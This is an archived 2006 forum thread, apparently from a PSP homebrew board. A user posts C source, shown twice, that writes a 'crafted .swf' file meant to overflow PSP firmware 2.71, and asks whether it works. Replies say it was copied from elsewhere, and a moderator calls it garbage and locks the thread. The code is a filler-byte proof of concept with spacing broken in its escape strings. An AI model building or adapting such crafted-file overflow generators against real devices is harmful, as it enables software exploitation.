PDA

View Full Version : Will This Work



scottyboynow
July 20th, 2006, 17:29
Okay this code is to be saved as a .swf and to be used on 271 would it work :
/*
* ************************* ************************* *********
* PSP FW 2.71 Overflow Test
************************* ************************* ***********
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void usage(char* file);

/*
<swf>
...
</swf>
*/
char SWF[] = "<swf>";
char SWF_[] = "</swf>";

//[SetBackgroundColor]
char SetBackgroundColor[] = "\x43\x02\xff\x00\x00";

//[DoAction] 1 pwn j00r 455!
char DoAction[] =
"\x3c\x03\x9b\x08\x00\x41\ x41\x41\x41\x41\x41\x41\x 41\x00\x40\x00"
"\x42\x42\x42\x42\x42\x42\ x42\x42\x00\x43\x43\x43\x 43\x43\x43\x43"
"\x43\x00\x44\x44\x44\x44\ x44\x44\x44\x44\x00\x45\x 45\x45\x45\x45"
"\x45\x45\x45\x00\x46\x46\ x46\x46\x46\x46\x46\x46\x 00\x00";

//[ShowFrame]
char ShowFrame[] = "\x40\x00";

//[End]
char End[] = "\x00\x00";

int main(int argc,char* argv[])
{
system("cls");
printf("\n* ************************* ************************* ******* *");
printf("\n* Sony you can kiss my ass, 2.71 Welcome to Homebrew *");
printf("\n* ************************* ************************* ******* *");


if ( argc!=2 )
{
usage(argv[0]);
}

FILE *f;
f = fopen(argv[1],"w");
if ( !f )
{
printf("\nFile couldn't open!");
exit(1);
}

printf("\n\nWriting crafted .swf file . . .");
fwrite(SWF,1,sizeof(SWF), f);
fwrite("\n",1,1,f);
fwrite(SetBackgroundColor ,1,sizeof(SetBackgroundCo lor),f);
fwrite("\n",1,1,f);
fwrite(DoAction,1,sizeof( DoAction),f);
fwrite("\n",1,1,f);
fwrite(ShowFrame,1,sizeof (ShowFrame),f);
fwrite("\n",1,1,f);
fwrite(End,1,sizeof(End), f);
fwrite("\n",1,1,f);
fwrite(SWF_,1,sizeof(SWF_ ),f);
printf("\nFile created successfully!");
printf("\nFilename: %s",argv[1]);
return 0;
}

void usage(char* file)
{
printf("\n\n");
printf("\n%s <Filename>",file);
printf("\n\nFilename = .swf crafted file. Eg: overflow.swf");
exit(1);
}

Striker10
July 20th, 2006, 19:13
Did you write the code, what is it meant to do (i'm a virgin at psp coding) and if you didn't write out the coding where'd you get it from? These are inportant questions my friend, if this is false hope (as I 99% suspect) fear not, for I won't personally flame you...:D well maybe just abit...

Malksta
July 20th, 2006, 19:27
thats the same that coderx posted that he took from a site.. !EVIL!

splodger15
July 20th, 2006, 20:10
Okay this code is to be saved as a .swf and to be used on 271 would it work :
/*
* ************************* ************************* *********
* PSP FW 2.71 Overflow Test
************************* ************************* ***********
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void usage(char* file);

/*
<swf>
...
</swf>
*/
char SWF[] = "<swf>";
char SWF_[] = "</swf>";

//[SetBackgroundColor]
char SetBackgroundColor[] = "\x43\x02\xff\x00\x00";

//[DoAction] 1 pwn j00r 455!
char DoAction[] =
"\x3c\x03\x9b\x08\x00\x41\ x41\x41\x41\x41\x41\x41\x 41\x00\x40\x00"
"\x42\x42\x42\x42\x42\x42\ x42\x42\x00\x43\x43\x43\x 43\x43\x43\x43"
"\x43\x00\x44\x44\x44\x44\ x44\x44\x44\x44\x00\x45\x 45\x45\x45\x45"
"\x45\x45\x45\x00\x46\x46\ x46\x46\x46\x46\x46\x46\x 00\x00";

//[ShowFrame]
char ShowFrame[] = "\x40\x00";

//[End]
char End[] = "\x00\x00";

int main(int argc,char* argv[])
{
system("cls");
printf("\n* ************************* ************************* ******* *");
printf("\n* Sony you can kiss my ass, 2.71 Welcome to Homebrew *");
printf("\n* ************************* ************************* ******* *");


if ( argc!=2 )
{
usage(argv[0]);
}

FILE *f;
f = fopen(argv[1],"w");
if ( !f )
{
printf("\nFile couldn't open!");
exit(1);
}

printf("\n\nWriting crafted .swf file . . .");
fwrite(SWF,1,sizeof(SWF), f);
fwrite("\n",1,1,f);
fwrite(SetBackgroundColor ,1,sizeof(SetBackgroundCo lor),f);
fwrite("\n",1,1,f);
fwrite(DoAction,1,sizeof( DoAction),f);
fwrite("\n",1,1,f);
fwrite(ShowFrame,1,sizeof (ShowFrame),f);
fwrite("\n",1,1,f);
fwrite(End,1,sizeof(End), f);
fwrite("\n",1,1,f);
fwrite(SWF_,1,sizeof(SWF_ ),f);
printf("\nFile created successfully!");
printf("\nFilename: %s",argv[1]);
return 0;
}

void usage(char* file)
{
printf("\n\n");
printf("\n%s <Filename>",file);
printf("\n\nFilename = .swf crafted file. Eg: overflow.swf");
exit(1);
}




i have seen that on a site before

dalejrrocks
July 20th, 2006, 20:35
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

^ Isn't that C? So this should be compiled into an eboot?

BL4Z3D247
July 20th, 2006, 20:50
yeh thats the code coderx copied and pasted off another site

ACID
July 20th, 2006, 21:57
This is C/C++ codding it should be on a PBP but like all mi friends before me replied this is the code coderx copied before. 2 nothi guys.humm what to do what to do.

Kaiser
July 20th, 2006, 23:18
what to do what to do.

Thread Lockage. ;)

CoderX simply stole that bunch of garbage code from some program completely non-PSP related.